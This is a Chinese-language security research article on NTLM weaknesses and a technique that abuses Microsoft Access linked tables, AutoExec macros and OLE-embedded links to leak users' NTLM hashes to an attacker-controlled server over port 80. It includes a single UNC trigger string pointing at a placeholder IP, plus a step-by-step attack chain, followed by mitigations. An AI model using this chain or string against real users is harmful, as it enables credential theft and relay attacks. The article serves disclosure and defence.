10 月 12 日,微軟宣布新一輪過渡計劃,棄用 NTLM 身份認證方式,讓更多企業和用戶過渡到 Kerberos。
Microsoft Access ( Office 套件的一部分 ) 有一個 " 鏈接到遠程 SQL Server 表 " 的功能。攻擊者可能會濫用此功能,通過任意 TCP 端口 ( 如端口 80 ) 自動将 Windows 用戶的 NTLM 令牌洩露給攻擊者控制的任何服務器。隻要受害者打開 .accdb 或 .mdb 文件,就可以發起攻擊。事實上,更常見的 Office 文件類型 ( 如 .rtf ) 都可以以類似方式運行。這種技術允許攻擊者繞過現有的防火牆規則,這些規則旨在阻止由外部攻擊發起的 NTLM 信息竊取。
什麽是 NTLM?針對它的常見攻擊有哪些?
NTLM 是 NT LAN Manager的縮寫,這也說明了協議的來源。NTLM 是指 telnet 的一種驗證身份方式,即問詢 / 應答身份驗證協議,是 Windows NT 早期版本的标準安全協議,是 Microsoft 在 1993 年引入的一種目前已被棄用的身份驗證協議。微軟在今年 10 月宣布,棄用 NTLM 身份認證方式,讓更多企業和用戶過渡使用 Kerberos, Kerberos 提供了更好的安全保證,并且比 NTLM 更具可擴展性,現在成爲 Windows 中首選默認協議。
企業雖然可以關閉 NTLM 身份認證,但那些硬連線(hardwired)的應用程序和服務可能會遇到問題,爲此微軟引入了兩個身份驗證功能。
其一是 Initial and Pass Through Authentication Using Kerberos(IAKerb),允許 " 沒有域控制器視線的客戶端通過有視線的服務器進行身份驗證 "。
另一個是 Kerberos 的本地密鑰分發中心 ( KDC ) ,它增加了對本地賬戶的身份驗證支持。通過上述兩項功能的推進,Kerberos 将成爲唯一的 Windows 身份驗證協議。
以下是針對 NTLM 的三種最著名的攻擊。
1. 暴力攻擊利用 NTLM 哈希函數規範中的固有漏洞,從存儲在服務器上的 NTLM 哈希中恢複原始密碼。
2. 傳遞哈希攻擊濫用了 NTLM 哈希來挑戰 / 響應模型來證實客戶端的身份,使得使用哈希而不是普通密碼這一事實在本質上毫無意義。
3. 中繼攻擊通常被稱爲 " 中間人 " 攻擊,攻擊者攔截握手交易,在與服務器交談時假扮成客戶端,反之亦然,這樣就可以将他們的消息互相傳遞,直到會話被驗證的關鍵時刻,此時攻擊者切斷合法客戶端并代替他們進行對話。
上述攻擊的緩解措施出現在 Kerberos 中,Kerberos 是麻省理工學院開發的一種身份驗證協議,比 NTLM 早了整整五年。
不過,對于任何想要保留 NTLM 服務器的用戶來說,微軟設計了一個過渡機制,簡單地阻止通過 NTLM 協議使用的端口 ( 139 和 445 ) 的所有組織出站流量,使上述攻擊更加難以執行,這樣攻擊者就不可能獲得對網絡的初始 Access 的口令。這種由外部攻擊發起的攻擊技術被稱爲 " 強制身份驗證 "。
不過這種權宜之計總是漏洞百出。在這篇文章中,我們提出了一種新的方法,可以繞過這些端口使緩解措施失效,即可以直接針對内部用戶進行 NTLM 攻擊。這種方法通過濫用 MS-Access 應用程序中稱爲 " Access 鏈表 " 的功能來實現。
MS-Access 中的鏈表
在讨論攻擊者如何濫用此功能之前,我們将首先解釋該功能在用于合法目的時是如何正常工作的。使用鏈表,用戶可以連接到外部數據庫,例如遠程 Microsoft SQL 服務器,這種功能的優勢應該是不言而喻的,不過讓每個用戶在他們的本地設備上保留一個數據庫副本在很多時候并不是一個很好的解決方案,而且絕對不是長久的解決方案。要激活該功能,用戶可以點擊 " 外部數據 " 選項卡的 "ODBC Database" 按鈕,如下所示。我們以 Office 2010 爲例,但這同樣适用于所有版本的 Office。
點擊 "ODBC Database" 按鈕啓動連接到 Microsoft Access 2010 上的遠程 SQL Server 的引導
MS-Access 建議使用另一種方法,用一次性下載遠程表,這樣就可以将結果視爲本地表。爲了實際使用鏈接功能并與遠程數據庫同步,用戶選擇了另一個選項," 通過創建鏈表鏈接到數據源 "。
MS-Access 允許用戶在創建遠程數據庫的本地副本和完整的遠程鏈接之間進行選擇
然後,用戶在對話框中選擇 "SQL Server" 作爲 ODBC Database。
選擇 ODBC Database 類型的對話框
ODBC ( Open Database Connectivity,開放數據庫互連 ) 是微軟公司開放服務結構 ( WOSA,Windows Open Services Architecture ) 中有關數據庫的一個組成部分,它建立了一組規範,并提供了一組對數據庫訪問的标準 API(應用程序編程接口)。
此時,用戶需要選擇使用遠程服務器進行身份驗證的方法,如下圖所示。
選擇 SQL Server 身份驗證方法的對話框
一般的用戶會根據服務器支持的身份驗證方法、公司安全策略以及他們個人認爲方便的方式進行選擇。爲了方便講解,我們會假設用戶選擇使用自己的 Windows ID 憑據進行身份驗證的選項。此外,典型的用戶可能會将遠程服務器的端口保留爲默認值 ( 1433 ) ,但是,出于爲了方便講解,我們暫時假設用戶選擇不經常使用的端口,例如端口 80。
畢竟,沒有什麽可以阻止 SQL 服務器監聽端口 80,一個合法組織的 SQL 服務器可能不會這樣做,但是如果有人這樣做了,網絡也不會産生什麽異常。
選擇服務器的 IP 地址、端口和協議的對話框
假設遠程 SQL 服務器的身份驗證成功并且所選表存在,那麽在客戶機的 "tables" 列表中就會出現一個表示鏈表的新條目。當用戶點擊此條目時,将建立到該遠程數據庫的連接,并且 MS-Access 客戶端嘗試使用用戶的 Windows 憑據與 SQL 服務器進行身份驗證。
在 MS-Access 的 "tables" 列表中顯示的鏈表
濫用鏈表
在将該功能武器化并轉化爲 NTLM 中繼攻擊之前,攻擊者可以設置一個他們控制的服務器,監聽端口 80,并将其 IP 地址放在上面的 " 服務器别名 " 字段中。然後,他們可以将數據庫文件 ( 包括鏈表 ) 發送給受害者。如果受害者打開文件并點擊表,受害客戶端 CV 将聯系攻擊者控制的服務器 SA 并嘗試進行身份驗證。然後,SA 處于執行攻擊的最佳位置,它可以立即啓動同一組織中目标 NTLM 服務器 ST 的身份驗證過程,接收挑戰,并将該挑戰作爲攻擊者控制的 CV 的一部分發送到 CV ↔ SA 身份驗證過程,接收有效響應,然後将該響應傳遞給 SA 來通過 ST 的成功身份驗證。身份驗證是使用 TDS 中封裝的 NTLMSSP 來完成的。讓受害者打開文件并點擊數據庫是一件很危險的事情。關于 " 點擊數據庫 " 部分,從技術上講,MS Access 支持宏,因此攻擊者理論上可以創建一個自動打開鏈接表的宏,并将其設置爲在打開文件時自動執行,這是通過将宏命名爲 AutoExec 來實現的。當然,這是一條死胡同,因爲随後會提示用戶啓用宏,就在去年,微軟計劃推出了一項針對這種情況的新安全功能。這個功能不适用于簡單的 MS Access 宏。這些與成熟的 VBA 不同,它們的功能較弱,處理起來也不那麽謹慎。即使是 2010 年推出的可證明有效的 " 受保護視圖(protected view)" 功能,該功能會提示用戶文檔 " 可能不安全 " 并提示用戶 " 啓用宏 "。
添加一個打開鏈接表的 MicrosoftAccess 宏,并将其保存爲 "AutoExec" 以在打開文件時執行
OL É , OL É , OL É
Microsoft Access 在 Windows 上注冊爲 "OLE 鏈接 " 服務器。例如,可以在 Word 文檔中嵌入圖像,當文檔被打開時,MS-Paint 将處理圖像并發回信息,從而使 MS-Word 可以内聯顯示圖像。
同樣,也可以将 MS word 文檔中的 .accdb 文件鏈接爲 OLE 對象,該對象将自動下載(也可以通過端口 80/tcp),然後由 MS Access 處理。像下面這樣簡單的字符串就會觸發這個行爲 :
\\111.111.111.111@80\test.accdb
總的來說,整個攻擊鏈是這樣的 :
濫用鏈表
概念驗證
爲了方便研究,研究人員建立一個展示這種攻擊的概念驗證環境,禁用服務器的第一個響應數據包(PRE-LOGIN 消息響應)中的加密,可以使研究的工作變得更容易,因爲不需要處理 TDS TLS 加密。
以下是模拟受害者和虛假 SQL 服務器活動的過程,受害者位于典型的端口阻塞環境中(阻塞傳出的 139/tcp 和 445/tcp 流量,但允許 80/tcp),而攻擊者控制的服務器位于公共雲中。受害者在試圖通過端口 80 上的服務器進行身份驗證時洩露了本地 net-NTLMv2 哈希值。
流量捕獲 ( PCAP ) 顯示了一次成功的攻擊,它使受害者通過端口 80 洩露了本地 NTLM 哈希
防禦和緩解措施
研究人員已經成功地在所有可用的默認 Windows + Office 環境中複制了攻擊,包括最新的 Windows 10/11 和 Office 2021 環境。
建議你可以考慮禁用 MS-Access 中的宏,或者如果 MS-Access 對你的 Office 套件安裝不是必需的,則将其從系統中完全删除。
另外,請不要打開未經請求的附件。